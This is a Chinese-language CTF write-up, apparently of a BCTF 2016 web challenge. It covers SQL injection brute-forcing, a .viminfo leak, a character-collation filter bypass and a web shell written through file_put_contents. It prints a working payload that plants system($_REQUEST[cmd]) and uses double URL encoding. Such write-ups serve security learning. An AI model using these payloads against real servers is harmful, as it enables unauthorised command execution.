0x00
题目连接打开后,是空白的,源代码也是空白的
这种情况就抓包,看请求包和相应包里面是否有提示
相应包中存在很特别的响应头X-HT: verify
可能是参数,传递任意参数过去
0x01
传递5个长度的参数时,返回
说明参数的长度是4
然后题目提示是sql注入,最基本的就是将参数使用宽字节注入 ,单引号’或者“过滤掉
所以payload的大概形式是
'XX%23
中间两个字符,用字典跑出来
通过爆破,尝试出多个payload,其中一个是 '%1%23
0x02
传递参数得到提示:
打开新的页面
hello??? 相应包中还有另外一个自定义头,值是viminfo
这个viminfo是状态文件,url中添加.viminfo打开查看,得到如下提示
最后发现后面的~~~还是需要保留的,才能打开文件
这段php的目的是让你传递参数usern3me是Bctf2016,但有不能直接是Bctf2016的形式,才会显示接下来的页面
就是传递的参数usern3me=Bctf2016被过滤掉,尝试另一种形式进行绕过
这里出现mysql_query("set names utf8"); 用到带腭化符的字母,利用字符的差异进行绕过
在下面的连接里,找Bctf的替换字符,
Special Characters - Character set for HL - CS - AlliedModders (alliedmods.net)
payload:?usern3me=Bçtf2016
再来抓包看信息 ,啥也没有还是被被过滤掉了
最后试出来有用的payload不仅要把c替换掉,还得把2016换成2O16
这样就得到了下一步的地址
0x03
首先这个文件,需要传递两个参数:path、filename;而且upload/与filename结合形成name
file_put_contents()是写文件,file_get_contents()是读文件
就是说这一段的代码的含义是:上传path的页面内容 被 写入到本地的upload/目录下的以filename命名的文件。
这就类似于文件包含,而且在上一个文件521的文件,参数usern3me传递什么值,就返回在页面上什么结果
这就说明可以在usern3me上传递shell。之后我们在upload目录下访问这个文件
0x04实现getshell
首先测试phpinfo()
出现空格就被把空格及之后的过滤掉了
听说是使用url编码二次加密,原本空格是%20,变成%2520
好,确实管用。把后面的空格也得加密
之后再把.txt后缀改成php后缀
好的存在漏洞
之后在这个点上,可以放上一句话木马,之后连接菜刀;也可以放上执行命令,传参执行命令
system($_REQUEST[cmd]);
最后的payload:
?path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=%3C?php%2520system($_REQUEST[cmd]);?%3E&filename=1.php
最后传递cmd参数位置上传递命令。就能找到flag
总结
这道题目最主要的考点是文件包含,在上一个文件存在字符串写入点,与下一个文件的写文件的命令file_put_contents()结合,获得服务器的shell。
题目当中学到的小要点:
1.打开页面空白就查看源代码,还没信息就查看数据包
2.在数据包中自定义的头,就是提示
3.viminfo是文件状态文件。.viminfo打开
4.对于空格的过滤,%20变成%2520
5.除了一句话木马连getshell,还可以上传system()来getshell